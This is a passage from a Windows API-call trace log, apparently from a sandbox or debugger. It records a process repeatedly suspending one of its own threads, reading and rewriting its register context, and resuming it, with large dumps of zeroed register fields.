[79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0115.673] ResumeThread (hThread=0x100) returned 0x1 [0115.673] CloseHandle (hObject=0x100) returned 1 [0115.673] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.674] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.885] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0115.993] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0115.993] SuspendThread (hThread=0x100) returned 0x0 [0115.993] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfa28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f9fcd20, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0115.994] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cfa20, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0115.994] ResumeThread (hThread=0x100) returned 0x1 [0115.994] CloseHandle (hObject=0x100) returned 1 [0115.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.112] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.224] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.335] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0116.336] SuspendThread (hThread=0x100) returned 0x0 [0116.336] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf8d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fa13340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0116.336] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf8d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0116.337] ResumeThread (hThread=0x100) returned 0x1 [0116.337] CloseHandle (hObject=0x100) returned 1 [0116.337] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.338] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.458] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.562] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0116.671] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0116.671] SuspendThread (hThread=0x100) returned 0x0 [0116.671] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000cf7f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f9f5840, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, 